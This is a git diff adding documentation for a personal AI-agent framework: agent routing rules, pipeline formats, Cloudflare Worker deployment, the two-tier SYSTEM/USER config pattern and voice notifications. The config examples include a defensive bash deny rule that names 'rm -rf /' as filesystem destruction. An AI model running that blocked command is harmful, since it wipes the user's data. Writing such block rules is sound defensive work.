│ │ │ A_SEND_EMAIL │ │ +│ │ iteration │ │ │ │ A_EXTRACT_TRANSCRIPT│ │ +│ └─────────────┘ └──────────────────┘ └────────────────────────┘ │ +│ │ +│ Shared: auth.ts (Bearer token) | anthropic.ts | action-worker.ts │ +│ Secrets: AUTH_TOKEN | ANTHROPIC_API_KEY | RESEND_API_KEY │ +│ Deploy: bash deploy.sh --all │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +## Relationship to Actions and Pipelines + +| Primitive | Prefix | What It Does | Cloudflare Feature | +|-----------|--------|--------------|--------------------| +| **Action** | `A_` | Single unit of work (LLM call, API call, shell command) | Worker | +| **Pipeline** | `P_` | Chains actions in sequence via pipe model | Worker + service bindings | +| **Flow** | `F_` | Connects source → pipeline → destination on a schedule | Worker + Cron Trigger + service bindings | + +Actions are atomic. Pipelines compose actions. Flows orchestrate pipelines on a schedule with external sources and destinations. + +## See Also + +- `../ACTIONS/README.md` — Action definitions and structure +- `../PIPELINES/README.md` — Pipeline definitions that chain actions +- `~/Projects/arbol/` — Cloudflare Workers source (Arbol project) +- `../SKILL.md` — Core PAI documentation diff --git a/.opencode/PAI/MINIMAL_BOOTSTRAP.md b/.opencode/PAI/MINIMAL_BOOTSTRAP.md index 97b09ed4..4f6c27e4 100644 --- a/.opencode/PAI/MINIMAL_BOOTSTRAP.md +++ b/.opencode/PAI/MINIMAL_BOOTSTRAP.md @@ -100,7 +100,7 @@ The system must know which skills exist to load them: | **BrightData** | "Bright Data", "scrape URL", "web scraping" | `skills/Scraping/BrightData/SKILL.md` | | **AnnualReports** | "Annual report", "security report", "threat report" | `skills/Security/AnnualReports/SKILL.md` | | **SECUpdates** | "Security news", "breaches", "security updates" | `skills/Security/SECUpdates/SKILL.md` | -| **Telos** | "TELOS", "life goals", "projects", "books" | `skills/Telos/Telos/SKILL.md` | +| **Telos** | "TELOS", "life goals", "projects", "books" | `skills/Telos/SKILL.md` | | **Aphorisms** | "Aphorism", "quote", "saying" | `skills/Utilities/Aphorisms/SKILL.md` | | **Algorithm** | "Algorithm details", "full algorithm", "PRD format", "ISC decomposition", "Extended effort", "Advanced effort" | `PAI/Algorithm/v3.7.0.md` | | **Fabric** | "Fabric pattern", "extract wisdom", "summarize" | `skills/Utilities/Fabric/SKILL.md` | @@ -115,7 +115,6 @@ The system must know which skills exist to load them: | **Scraping** | "Scrape", "Twitter", "Instagram", "web scraping" | `skills/Scraping/SKILL.md` | | **Thinking** | "Be creative", "first principles", "red team", "council" | `skills/Thinking/SKILL.md` | | **Utilities** | "Documents", "Fabric", "Browser", "CLI tools" | `skills/Utilities/SKILL.md` | -| **USMetrics** | "US metrics", "American data", "statistics" | `skills/USMetrics/USMetrics/SKILL.md` | | **WarriorPatterns** | "Warrior patterns", "business analysis", "positioning" | `skills/WarriorPatterns/SKILL.md` | | **WarriorsWay** | "Warriors Way", "Core 4", "4Ps", "breakthrough" | `skills/WarriorsWay/SKILL.md` | @@ -136,10 +135,12 @@ The system must know which skills exist to load them: | Skill | Trigger | Path | |-------|---------|------| | **Aphorisms** | "Aphorism", "quote" | `skills/Utilities/Aphorisms/SKILL.md` | +| **AudioEditor** | "Audio", "edit audio", "process audio" | `skills/Utilities/AudioEditor/SKILL.md` | | **Browser** | "Browser", "screenshots" | `skills/Utilities/Browser/SKILL.md` | | **Cloudflare** | "Cloudflare", "Workers" | `skills/Utilities/Cloudflare/SKILL.md` | | **CreateCLI** | "Create CLI", "build CLI" | `skills/Utilities/CreateCLI/SKILL.md` | | **CreateSkill** | "Create skill", "new skill" | `skills/Utilities/CreateSkill/SKILL.md` | +| **Delegation** | "Delegate", "orchestrate", "assign" | `skills/Utilities/Delegation/SKILL.md` | | **Documents** | "Documents", "PDF", "Word" | `skills/Utilities/Documents/SKILL.md` | | **Evals** | "Eval", "benchmark" | `skills/Utilities/Evals/SKILL.md` | | **Fabric** | "Fabric", "extract wisdom" | `skills/Utilities/Fabric/SKILL.md` | diff --git a/.opencode/PAI/PAIAGENTSYSTEM.md b/.opencode/PAI/PAIAGENTSYSTEM.md new file mode 100755 index 00000000..9ef8f331 --- /dev/null +++ b/.opencode/PAI/PAIAGENTSYSTEM.md @@ -0,0 +1,177 @@ +# PAI Agent System + +**Authoritative reference for agent routing in PAI. Three distinct systems exist—never confuse them.** + +--- + +## 🚨 THREE AGENT SYSTEMS — CRITICAL DISTINCTION + +PAI has three agent systems that serve different purposes. Confusing them causes routing failures. + +| System | What It Is | When to Use | Has Unique Voice? | +|--------|-----------|-------------|-------------------| +| **Task Tool Subagent Types** | Pre-built agents in Claude Code (Architect, Designer, Engineer, Explore, etc.) | Internal workflow use ONLY | No | +| **Named Agents** | Persistent identities with backstories and ElevenLabs voices (Serena, Marcus, Rook, etc.) | Recurring work, voice output, relationships | Yes | +| **Custom Agents** | Dynamic agents composed via ComposeAgent from traits | When user says "custom agents" | Yes (trait-mapped) | + +--- + +## 🚫 FORBIDDEN PATTERNS + +**When user says "custom agents":** + +```typescript +// ❌ WRONG - These are Task tool subagent_types, NOT custom agents +Task({ subagent_type: "Architect", prompt: "..." }) +Task({ subagent_type: "Designer", prompt: "..." }) +Task({ subagent_type: "Engineer", prompt: "..." }) + +// ✅ RIGHT - Invoke the Agents skill for custom agents +Skill("Agents") // → CreateCustomAgent workflow +// OR follow the workflow directly: +// 1. Run ComposeAgent with different trait combinations +// 2. Launch agents with the generated prompts +// 3. Each gets unique personality + voice +``` + +--- + +## Routing Rules + +### The Word "Custom" Is the Trigger + +| User Says | Action | Implementation | +|-----------|--------|----------------| +| "**custom agents**", "spin up **custom** agents" | Invoke Agents skill | `Skill("Agents")` → CreateCustomAgent workflow | +| "agents", "launch agents", "parallel agents" | Custom agents via Agents skill | `Skill("Agents")` → ComposeAgent → `Task({ subagent_type: "general-purpose" })` | +| "research X", "investigate Y" | Research skill | `Skill("Research")` → appropriate researcher agents | +| "use Remy", "get Ava to" | Named agent | Use appropriate researcher subagent_type | +| (Code implementation) | Engineer | `Task({ subagent_type: "Engineer" })` | +| (Architecture/design) | Architect | `Task({ subagent_type: "Architect" })` | + +### Custom Agent Creation Flow + +When user requests custom agents: + +1. **Invoke Agents skill** via `Skill("Agents")` or follow CreateCustomAgent workflow +2. **Run ComposeAgent** for EACH agent with DIFFERENT trait combinations +3. **Extract prompt and voice_id** from ComposeAgent output +4. **Launch agents** with Task tool using the composed prompts +5. **Voice results** using each agent's unique voice_id + +```bash +# Example: 3 custom research agents +bun run ~/.opencode/skills/Agents/Tools/ComposeAgent.ts --traits "research,enthusiastic,exploratory" +bun run ~/.opencode/skills/Agents/Tools/ComposeAgent.ts --traits "research,skeptical,systematic" +bun run ~/.opencode/skills/Agents/Tools/ComposeAgent.ts --traits "research,analytical,synthesizing" +``` + +--- + +## Task Tool Subagent Types (Internal Use Only) + +These are pre-built agents in the Claude Code Task tool. They are for **internal workflow use**, not for user-requested "custom agents." + +| Subagent Type | Purpose | When Used | +|---------------|---------|-----------| +| `Architect` | System design | Development skill workflows | +| `Designer` | UX/UI design | Development skill workflows | +| `Engineer` | Code implementation | Development skill workflows | +| `general-purpose` | Custom agents via ComposeAgent | Parallel work with task-specific prompts | +| `Explore` | Codebase exploration | Finding files, understanding structure | +| `Plan` | Implementation planning | Plan mode | +| `QATester` | Quality assurance | Browser testing workflows | +| `Pentester` | Security testing | WebAssessment workflows | +| `ClaudeResearcher` | Claude-based research | Research skill workflows | +| `GeminiResearcher` | Gemini-based research | Research skill workflows | +| `GrokResearcher` | Grok-based research | Research skill workflows | + +**These do NOT have unique voices or ComposeAgent composition.** + +--- + +## Named Agents (Persistent Identities) + +Named agents have rich backstories, personality traits, and mapped ElevenLabs voices. They provide relationship continuity across sessions. + +| Agent | Role | Voice | Use For | +|-------|------|-------|---------| +| Serena Blackwood | Architect | Premium UK Female | Long-term architecture decisions | +| Marcus Webb | Engineer | Premium Male | Strategic technical leadership | +| Rook Blackburn | Pentester | Enhanced UK Male | Security testing with personality | +| Ava Sterling | Claude Researcher | Premium US Female | Strategic research | +| Alex Rivera | Gemini Researcher | Multi-perspective | Comprehensive analysis | + +**Full backstories and voice settings:** Individual `agents/*.md` files (persona frontmatter + body) + +--- + +## Custom Agents (Dynamic Composition) + +Custom agents are composed on-the-fly from traits using ComposeAgent. Each unique trait combination maps to a different ElevenLabs voice. + +### Trait Categories + +**Expertise** (domain knowledge): +`security`, `legal`, `finance`, `medical`, `technical`, `research`, `creative`, `business`, `data`, `communications` + +**Personality** (behavior style): +`skeptical`, `enthusiastic`, `cautious`, `bold`, `analytical`, `creative`, `empathetic`, `contrarian`, `pragmatic`, `meticulous` + +**Approach** (work style): +`thorough`, `rapid`, `systematic`, `exploratory`, `comparative`, `synthesizing`, `adversarial`, `consultative` + +### Voice Mapping Examples + +| Trait Combo | Voice | Why | +|-------------|-------|-----| +| contrarian + skeptical | Clyde (gravelly) | Challenging intensity | +| enthusiastic + creative | Jeremy (energetic) | High-energy creativity | +| security + adversarial | Callum (edgy) | Hacker character | +| analytical + meticulous | Charlotte (sophisticated) | Precision analysis | + +**Full trait definitions and voice mappings:** `skills/Agents/Data/Traits.yaml` + +--- + +## Model Selection + +Always specify the appropriate model for agent work: + +| Task Type | Model | Speed | +|-----------|-------|-------| +| Simple checks, grunt work | `haiku` | 10-20x faster | +| Standard analysis, implementation | `sonnet` | Balanced | +| Deep reasoning, architecture | `opus` | Maximum intelligence | + +```typescript +// Parallel custom agents benefit from haiku/sonnet for speed +Task({ prompt: agentPrompt, subagent_type: "general-purpose", model: "sonnet" }) +``` + +--- + +## Spotcheck Pattern + +**Always launch a spotcheck agent after parallel work:** + +```typescript +Task({ + prompt: "Verify consistency across all agent outputs: [results]", + subagent_type: "general-purpose", + model: "haiku" +}) +``` + +--- + +## References + +- **Agents Skill:** `skills/Agents/SKILL.md` — Custom agent creation, workflows +- **ComposeAgent:** `skills/Agents/Tools/ComposeAgent.ts` — Dynamic composition tool +- **Traits:** `skills/Agents/Data/Traits.yaml` — Trait definitions and voice mappings +- **Agent Personalities:** Individual `agents/*.md` files — Named agent backstories and voice settings + +--- + +*Last updated: 2026-01-14* diff --git a/.opencode/PAI/PIPELINES/P_EXAMPLE_SUMMARIZE_AND_FORMAT.yaml b/.opencode/PAI/PIPELINES/P_EXAMPLE_SUMMARIZE_AND_FORMAT.yaml new file mode 100644 index 00000000..2a41d543 --- /dev/null +++ b/.opencode/PAI/PIPELINES/P_EXAMPLE_SUMMARIZE_AND_FORMAT.yaml @@ -0,0 +1,9 @@ +name: P_EXAMPLE_SUMMARIZE_AND_FORMAT +description: > + Example pipeline that summarizes text content and formats it as structured markdown. + Demonstrates the pipe model: A_EXAMPLE_SUMMARIZE produces a summary, + which flows into A_EXAMPLE_FORMAT for structured formatting. + +actions: + - A_EXAMPLE_SUMMARIZE + - A_EXAMPLE_FORMAT diff --git a/.opencode/PAI/PIPELINES/README.md b/.opencode/PAI/PIPELINES/README.md new file mode 100644 index 00000000..d6f6c567 --- /dev/null +++ b/.opencode/PAI/PIPELINES/README.md @@ -0,0 +1,167 @@ +# PAI Pipelines + +> **PAI 4.0** — This system is under active development. APIs, configuration formats, and features may change without notice. + +Pipelines chain actions together. A pipeline is just a list of actions executed in order using the **pipe model** — the output of each action becomes the input of the next. + +> This directory contains pipeline documentation. Personal pipeline YAMLs are in `../USER/PIPELINES/`. + +## Naming Convention + +- **Prefix:** `P_` for pipelines +- **Case:** `UPPER_SNAKE_CASE` +- **Length:** 2-4 words + +| Pipeline | Actions | Description | +|----------|---------|-------------| +| `P_YOUR_PIPELINE` | A_FIRST_ACTION → A_SECOND_ACTION | Chain actions in sequence | +| `P_PROCESS_AND_NOTIFY` | A_PROCESS_DATA → A_SEND_EMAIL | Process content, then notify via email | + +## Pipeline Format + +A pipeline YAML has three fields: + +```yaml +name: P_YOUR_PIPELINE +description: What this pipeline does in one sentence + +actions: + - A_FIRST_ACTION + - A_SECOND_ACTION +``` + +That's it. No template interpolation, no conditional routing, no output mapping. Actions pipe directly. + +## Pipe Model + +``` +Input → Action 1 → Action 2 → ... → Action N → Output + │ │ + └── output becomes ────────────┘ + next input +``` + +- Each action receives the **full output** of the previous action as its input +- The pipeline's final output is the **last action's output** only +- Actions use the passthrough pattern (`...upstream`) to preserve metadata through the pipe + +## Running Locally + +```bash +cd ~/.opencode/PAI/ACTIONS +bun lib/pipeline-runner.ts run P_YOUR_PIPELINE --input '{"content": "Your text here"}' +``` + +## Cloud Deployment (Arbol) + +Pipelines are deployed as Cloudflare Workers that use **service bindings** to call action Workers internally — zero network hops, zero latency penalty. + +### How It Works + +``` +Client Pipeline Worker Action Workers + │ (arbol-p-your-pipeline) + │ POST / {input} ┌──────────────────┐ + │ ─────────────────────>│ 1. Validate auth │ + │ │ 2. Parse input │ + │ │ 3. Call actions: │ + │ │ ┌─────────────┤ + │ │ │ service ─┼──> arbol-a-first-action + │ │ │ binding │ (returns processed data) + │ │ ├─────────────┤ + │ │ │ pipe output ─┼──> arbol-a-second-action + │ │ │ as input │ (returns final output) + │ │ └─────────────┤ + │ │ 4. Return result │ + │ <─────────────────────└──────────────────┘ + │ {success, output} +``` + +### Workers + +Each pipeline is deployed as a Worker with the pattern `arbol-p-{pipeline-name}`: + +| Worker | URL | Service Bindings | +|--------|-----|-----------------| +| `arbol-p-your-pipeline` | `https://arbol-p-your-pipeline.YOUR-SUBDOMAIN.workers.dev` | A_FIRST_ACTION, A_SECOND_ACTION | + +### Usage + +```bash +curl -X POST https://arbol-p-your-pipeline.YOUR-SUBDOMAIN.workers.dev/ \ + -H "Authorization: Bearer YOUR_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"content": "Your text here"}' +``` + +### Response Format + +```json +{ + "success": true, + "pipeline": "P_YOUR_PIPELINE", + "total_duration_ms": 12500, + "steps": [ + { "action": "A_FIRST_ACTION", "duration_ms": 8200 }, + { "action": "A_SECOND_ACTION", "duration_ms": 4300 } + ], + "output": { + "content": "...", + "summary": "...", + "labels": ["..."], + "rating": "B Tier", + "quality_score": 55 + } +} +``` + +### Deploying + +```bash +cd ~/Projects/arbol +bash deploy.sh p-your-pipeline +``` + +## Creating a New Pipeline + +### 1. Define the YAML + +Create `P_YOUR_PIPELINE.yaml` in this directory: + +```yaml +name: P_YOUR_PIPELINE +description: What this pipeline does in one sentence + +actions: + - A_FIRST_ACTION + - A_SECOND_ACTION + - A_THIRD_ACTION +``` + +### 2. Ensure Actions Exist + +All referenced actions must exist as `A_` directories under `../ACTIONS/`. Each action must have its own `ACTION.md` and implementation. + +### 3. Test Locally + +```bash +cd ~/.opencode/PAI/ACTIONS +bun lib/pipeline-runner.ts run P_YOUR_PIPELINE --input '{"key": "value"}' +``` + +### 4. Deploy to Arbol (Cloud) + +Create a Worker under `~/Projects/arbol/workers/p-your-pipeline/`: +- Add service bindings to each action Worker in `wrangler.toml` +- Import `shared/auth.ts` for Bearer token authentication +- Deploy with `bash deploy.sh p-your-pipeline` + +## Legacy Pipelines + +Files matching `*.pipeline.yaml` are from the old format (template interpolation, output mapping). These reference actions that may not exist in the new `A_` format. They are retained for reference but should not be used. + +## See Also + +- `../ACTIONS/README.md` — Action definitions and structure +- `../FLOWS/README.md` — Flow definitions that connect sources to pipelines on a schedule +- `~/Projects/arbol/` — Cloudflare Workers source (Arbol project) diff --git a/.opencode/PAI/README.md b/.opencode/PAI/README.md new file mode 100644 index 00000000..e75a3413 --- /dev/null +++ b/.opencode/PAI/README.md @@ -0,0 +1,89 @@ +# PAI — Personal AI Infrastructure + +PAI is a general problem-solving system that magnifies human capabilities. It runs inside Claude Code as an interconnected set of skills, hooks, tools, memory, and configuration — all orchestrated by The Algorithm. + +## How It Works + +**CLAUDE.md** is the master config — generated from `CLAUDE.md.template` via `BuildCLAUDE.ts`. It defines execution modes, The Algorithm, and the context routing table. Claude Code loads it natively every session. A SessionStart hook keeps it fresh automatically. + +**This directory (`PAI/`)** contains all system documentation, tools, user context, and the SKILL.md that defines PAI as a skill. The rest of the system lives alongside it under `~/.opencode/` (hooks, skills, settings, memory). + +## Directory Structure + +``` +~/.opencode/ + CLAUDE.md # Master config (generated from template) + CLAUDE.md.template # Source template with variables + settings.json # Single source of truth for all configuration + hooks/ # Event lifecycle hooks (21+) + skills/ # 12 categories, 49 skills — each with SKILL.md + MEMORY/ # Persistent memory (work, learning, relationship, state) + PAI/ # This directory — system docs + tools + user context + Algorithm/ # Versioned algorithm files + LATEST pointer +``` + +## Core Subsystems + +### The Algorithm (`PAI/Algorithm/`) +The 7-phase execution engine: Observe, Think, Plan, Build, Execute, Verify, Learn. Transitions from CURRENT STATE to IDEAL STATE via verifiable criteria (ISC). Current version: v3.7.0. + +### Skills (`SKILLSYSTEM.md`) +12 hierarchical categories with 49 total skills in `~/.opencode/skills/`, each with a `SKILL.md` defining triggers, workflows, and tools. Skills are the primary capability unit. + +### Hooks (`THEHOOKSYSTEM.md`) +21+ event hooks across the session lifecycle: SessionStart, UserPromptSubmit, PreToolUse, PostToolUse, Stop, SessionEnd. Defined in `settings.json`, implemented in `~/.opencode/hooks/`. + +### Memory (`MEMORYSYSTEM.md`) +Persistent storage across sessions: +- **WORK/** — Session artifacts, PRDs, transcripts +- **LEARNING/** — Failure patterns, algorithm reflections, signals +- **RELATIONSHIP/** — Daily interaction patterns, preferences +- **STATE/** — Session names, algorithm state, caches +- **WISDOM/** — Domain knowledge frames that compound over time + +### Tools (`Tools/`) +TypeScript utilities in `PAI/Tools/`: `BuildCLAUDE.ts` (generate CLAUDE.md from template), `Inference.ts` (AI calls), `GenerateSkillIndex.ts`, `SessionProgress.ts`, `Banner.ts`, and more. + +### Agents (`PAIAGENTSYSTEM.md`) +14 specialized agent types (Algorithm, Engineer, Architect, Designer, Researcher variants). Custom agents via the Agents skill. Agent teams for coordinated multi-agent work. + +### Security +Hook-based security: `SecurityValidator.hook.ts` guards Bash, Edit, Write, Read. Path validation, command injection prevention, secret scanning. + +### Notifications (`THENOTIFICATIONSYSTEM.md`) +Multi-channel: ntfy, Discord, Twilio. Voice announcements via ElevenLabs at localhost:8888. + +### Configuration (`settings.json`) +Single source of truth: identity (daidentity, principal), environment, permissions, hooks, notifications, status line, spinner verbs, counts, startup file loading (`loadAtStartup`), dynamic context toggles (`dynamicContext`). + +## User Context (`USER/`) + +Personal data directory. See `USER/README.md` for full index: +- **Identity:** `ABOUTME.md`, `DAIDENTITY.md`, `WRITINGSTYLE.md` +- **Rules:** `AISTEERINGRULES.md` (personal overrides) +- **Projects:** `PROJECTS/` +- **Life Goals:** `TELOS/` (via Telos skill) +- **Work:** `WORK/`, `BUSINESS/` +- **Skill Overrides:** `SKILLCUSTOMIZATIONS/` + +## Startup & Context Loading + +At session start, three things happen: +1. **CLAUDE.md** loads natively (identity, algorithm, routing table) +2. **`loadAtStartup` files** from `settings.json` are force-loaded by `LoadContext.hook.ts` +3. **Dynamic context** injected by `LoadContext.hook.ts`: relationship context, learning readback, active work summary (each toggleable in `settings.json → dynamicContext`) + +All other documentation loads on-demand based on the routing table in CLAUDE.md. + +## Build System + +| Target | Source | Builder | Trigger | +|--------|--------|---------|---------| +| `CLAUDE.md` | `CLAUDE.md.template` + `settings.json` + `PAI/Algorithm/LATEST` | `bun PAI/Tools/BuildCLAUDE.ts` | SessionStart hook + manual | + +## Extending PAI + +- **Add a skill:** Use the CreateSkill skill under Utilities +- **Add a hook:** Create handler in `~/.opencode/hooks/handlers/`, register in `settings.json` +- **Add startup files:** Append to `settings.json → loadAtStartup.files` +- **Add user context:** Create files in `PAI/USER/` diff --git a/.opencode/PAI/SYSTEM_USER_EXTENDABILITY.md b/.opencode/PAI/SYSTEM_USER_EXTENDABILITY.md new file mode 100755 index 00000000..cd83dd71 --- /dev/null +++ b/.opencode/PAI/SYSTEM_USER_EXTENDABILITY.md @@ -0,0 +1,268 @@ +# SYSTEM/USER Two-Tier Architecture + +**The foundational pattern for PAI extensibility and personalization** + +--- + +## Overview + +PAI uses a consistent two-tier architecture across all configurable components: + +``` +SYSTEM tier → Base functionality, defaults, PAI updates +USER tier → Personal customizations, private policies, overrides +``` + +This pattern enables: +- **Immediate functionality** — PAI works out of the box with sensible defaults +- **Personal customization** — Users can override any default without modifying core files +- **Clean updates** — PAI updates don't overwrite personal configurations +- **Privacy separation** — USER content is never synced to the public PAI repository + +--- + +## The Lookup Pattern + +When PAI needs configuration, it follows a cascading lookup: + +``` +1. Check USER location first + ↓ (if not found) +2. Fall back to SYSTEM/root location + ↓ (if not found) +3. Use hardcoded defaults or fail-open +``` + +**This means USER always wins.** If you create a file in the USER tier, it completely overrides the SYSTEM tier equivalent. + +--- + +## Where This Pattern Applies + +### Security System + +``` +PAI/PAISECURITYSYSTEM/ # SYSTEM tier (base) +├── README.md # Overview +├── ARCHITECTURE.md # Security layers +├── HOOKS.md # Hook documentation +├── PROMPTINJECTION.md # Prompt injection defense +├── COMMANDINJECTION.md # Command injection defense +└── patterns.example.yaml # Default security patterns + +PAI/USER/PAISECURITYSYSTEM/ # USER tier (personal) +├── patterns.yaml # Your security rules +├── QUICKREF.md # Your quick reference +└── ... +``` + +The SecurityValidator hook checks `PAI/USER/PAISECURITYSYSTEM/patterns.yaml` first, falling back to `PAI/PAISECURITYSYSTEM/patterns.example.yaml`. + +### Response Format + +``` +PAI/RESPONSEFORMAT.md # SYSTEM tier (base format rules) +PAI/USER/RESPONSEFORMAT.md # USER tier (personal overrides) +``` + +### Skills + +``` +skills/Utilities/Browser/SKILL.md # SYSTEM tier (public skill) +skills/_PERSONAL/_MYSKILL/SKILL.md # USER tier (private, _PREFIX naming) +``` + +Private skills use the `_ALLCAPS` prefix and are never synced to public PAI. + +### Identity + +``` +settings.json # Base identity (name, voice) +USER/DAIDENTITY.md # Personal identity expansion +``` + +### Configuration Files + +Many configuration files follow this pattern implicitly: + +| SYSTEM Default | USER Override | +|----------------|---------------| +| `patterns.example.yaml` | `USER/.../patterns.yaml` | +| `RESPONSEFORMAT.md` | `USER/RESPONSEFORMAT.md` | +| `settings.json` defaults | `settings.json` user values | + +--- + +## Design Principles + +### 1. SYSTEM Provides Working Defaults + +The SYSTEM tier must always provide functional defaults. A fresh PAI installation should work immediately without requiring USER configuration. + +```yaml +# SYSTEM tier: patterns.example.yaml +# Provides reasonable defaults that protect against catastrophic operations +bash: + blocked: + - pattern: "rm -rf /" + reason: "Filesystem destruction" +``` + +### 2. USER Overrides Completely + +When a USER file exists, it replaces (not merges with) the SYSTEM equivalent. This keeps behavior predictable. + +```yaml +# USER tier: patterns.yaml +# Completely replaces patterns.example.yaml +# Can add, remove, or modify any pattern +bash: + blocked: + - pattern: "rm -rf /" + reason: "Filesystem destruction" + - pattern: "npm publish" + reason: "Accidental package publish" # Personal addition +``` + +### 3. USER Content Stays Private + +The `USER/` directory is excluded from public PAI sync. Anything in USER: +- Never appears in public PAI repository +- Contains personal preferences, private rules, sensitive paths +- Is safe to include API keys, project names, personal workflows + +### 4. SYSTEM Updates Don't Break USER + +When PAI updates, only SYSTEM tier files change. Your USER configurations remain untouched. This means: +- Safe to update PAI without losing customizations +- New SYSTEM features available immediately +- USER overrides continue working + +--- + +## Implementation Guide + +### For New PAI Components + +When creating a new configurable component: + +1. **Create SYSTEM tier defaults** + ``` + ComponentName/ + ├── config.example.yaml # Default configuration + ├── README.md # Documentation + └── ... + ``` + +2. **Document USER tier location** + ``` + USER/ComponentName/ + ├── config.yaml # User's configuration + └── ... + ``` + +3. **Implement cascading lookup** + ```typescript + function getConfigPath(): string | null { + const userPath = paiPath('USER', 'ComponentName', 'config.yaml'); + if (existsSync(userPath)) return userPath; + + const systemPath = paiPath('ComponentName', 'config.example.yaml'); + if (existsSync(systemPath)) return systemPath; + + return null; // Will use hardcoded defaults + } + ``` + +4. **Fail gracefully** + - If no config found, use sensible hardcoded defaults + - Log which tier was loaded for debugging + - Never crash due to missing configuration + +### For Existing Components + +To add USER extensibility to an existing component: + +1. Move current config to SYSTEM tier (rename to `.example` if needed) +2. Add lookup logic that checks USER first +3. Document the USER location in README +4. Test that SYSTEM defaults still work alone + +--- + +## Examples in Practice + +### Security Hook Loading + +```typescript +// From SecurityValidator.hook.ts +const USER_PATTERNS_PATH = paiPath('PAI', 'USER', 'PAISECURITYSYSTEM', 'patterns.yaml'); +const SYSTEM_PATTERNS_PATH = paiPath('PAI', 'PAISECURITYSYSTEM', 'patterns.example.yaml'); + +function getPatternsPath(): string | null { + // USER first + if (existsSync(USER_PATTERNS_PATH)) { + patternsSource = 'user'; + return USER_PATTERNS_PATH; + } + + // SYSTEM fallback + if (existsSync(SYSTEM_PATTERNS_PATH)) { + patternsSource = 'system'; + return SYSTEM_PATTERNS_PATH; + } + + // No patterns - fail open + return null; +} +``` + +### Skill Naming Convention + +``` +TitleCase → SYSTEM tier (public, shareable) +_ALLCAPS → USER tier (private, personal) + +skills/Utilities/Browser/ # Public skill +skills/_PERSONAL/_MYSKILL/ # Private skill (underscore prefix) +``` + +--- + +## Common Questions + +### Q: What if I want to extend SYSTEM defaults, not replace them? + +The current pattern is replacement, not merge. If you want to keep SYSTEM defaults and add to them: +1. Copy SYSTEM defaults to USER location +2. Add your customizations +3. Manually sync when SYSTEM updates (or use a merge tool) + +Future PAI versions may support declarative merging. + +### Q: How do I know which tier is active? + +Components should log which tier loaded: +``` +Loaded USER security patterns +Loaded SYSTEM default patterns +No patterns found - using hardcoded defaults +``` + +Check logs or add debugging to see active configuration source. + +### Q: Can I have partial USER overrides? + +Currently, no. USER replaces SYSTEM entirely for that component. If you only want to change one setting, you must copy the entire SYSTEM config and modify it. + +### Q: What about settings.json? + +`settings.json` is a special case—it's a single file with both system and user values. It doesn't follow the two-file pattern but achieves similar results through its structure. + +--- + +## Related Documentation + +- `PAISECURITYSYSTEM/` — Security system architecture and patterns +- `SKILLSYSTEM.md` — Skill naming conventions (public vs private) +- `PAISYSTEMARCHITECTURE.md` — Overall PAI architecture diff --git a/.opencode/PAI/THEFABRICSYSTEM.md b/.opencode/PAI/THEFABRICSYSTEM.md new file mode 100755 index 00000000..aed346f9 --- /dev/null +++ b/.opencode/PAI/THEFABRICSYSTEM.md @@ -0,0 +1,91 @@ +--- +name: FabricReference +description: Reference document for Fabric pattern system. For full functionality, use the Fabric skill directly. +created: 2025-12-17 +updated: 2026-01-18 +--- + +# Fabric Pattern System Reference + +**Primary Skill:** `~/.opencode/skills/Fabric/SKILL.md` + +This document provides a quick reference. For full functionality, invoke the Fabric skill. + +--- + +## Quick Reference + +**Patterns Location:** `~/.opencode/skills/Fabric/Patterns/` (237 patterns) + +### Invoke Fabric Skill + +| User Says | Action | +|-----------|--------| +| "use fabric to [X]" | Execute pattern matching intent | +| "run fabric pattern [name]" | Execute specific pattern | +| "update fabric patterns" | Sync patterns from upstream | +| "extract wisdom from [content]" | Run extract_wisdom pattern | +| "summarize with fabric" | Run summarize pattern | + +### Native Pattern Execution + +PAI executes patterns natively (no CLI spawning): +1. Reads `Patterns/{pattern_name}/system.md` +2. Applies pattern instructions directly as prompt +3. Returns structured output + +**Example:** +``` +User: "Use fabric to extract wisdom from this article" +-> Fabric skill invoked +-> ExecutePattern workflow selected +-> Reads Patterns/extract_wisdom/system.md +-> Applies pattern to content +-> Returns IDEAS, INSIGHTS, QUOTES, etc. +``` + +### When to Use Fabric CLI Directly + +Only use `fabric` command for: +- **`-y URL`** - YouTube transcript extraction +- **`-U`** - Update patterns (or use skill workflow) + +--- + +## Pattern Categories + +| Category | Count | Key Patterns | +|----------|-------|--------------| +| **Extraction** | 30+ | extract_wisdom, extract_insights, extract_main_idea | +| **Summarization** | 20+ | summarize, create_5_sentence_summary | +| **Analysis** | 35+ | analyze_claims, analyze_code, analyze_threat_report | +| **Creation** | 50+ | create_threat_model, create_prd, create_mermaid_visualization | +| **Improvement** | 10+ | improve_writing, improve_prompt, review_code | +| **Security** | 15 | create_stride_threat_model, create_sigma_rules | +| **Rating** | 8 | rate_content, judge_output | + +--- + +## Updating Patterns + +**Via Skill (Recommended):** +``` +User: "Update fabric patterns" +-> Fabric skill > UpdatePatterns workflow +-> Runs fabric -U +-> Syncs to ~/.opencode/skills/Fabric/Patterns/ +``` + +**Manual:** +```bash +fabric -U && rsync -av ~/.config/fabric/patterns/ ~/.opencode/skills/Fabric/Patterns/ +``` + +--- + +## See Also + +- **Full Skill:** `~/.opencode/skills/Fabric/SKILL.md` +- **Pattern Execution:** `~/.opencode/skills/Fabric/Workflows/ExecutePattern.md` +- **Pattern Updates:** `~/.opencode/skills/Fabric/Workflows/UpdatePatterns.md` +- **All Patterns:** `~/.opencode/skills/Fabric/Patterns/` diff --git a/.opencode/PAI/THENOTIFICATIONSYSTEM.md b/.opencode/PAI/THENOTIFICATIONSYSTEM.md new file mode 100755 index 00000000..6a339a52 --- /dev/null +++ b/.opencode/PAI/THENOTIFICATIONSYSTEM.md @@ -0,0 +1,305 @@ +# The Notification System + +**Voice notifications for PAI workflows and task execution.** + +This system provides: +- Voice feedback when workflows start +- Consistent user experience across all skills + +--- + +## Task Start Announcements + +**When STARTING a task, do BOTH:** + +1. **Send voice notification**: + ```bash + curl -s -X POST http://localhost:8888/notify \ + -H "Content-Type: application/json" \ + -d '{"message": "[Doing what {PRINCIPAL.NAME} asked]"}' \ + > /dev/null 2>&1 & + ``` + +2. **Output text notification**: + ``` + [Doing what {PRINCIPAL.NAME} asked]... + ``` + +**Skip curl for conversational responses** (greetings, acknowledgments, simple Q&A). The 🎯 COMPLETED line already drives voice output—adding curl creates redundant voice messages. + +--- + +## Context-Aware Announcements + +**Match your announcement to what {PRINCIPAL.NAME} asked.** Start with the appropriate gerund: + +| {PRINCIPAL.NAME}'s Request | Announcement Style | 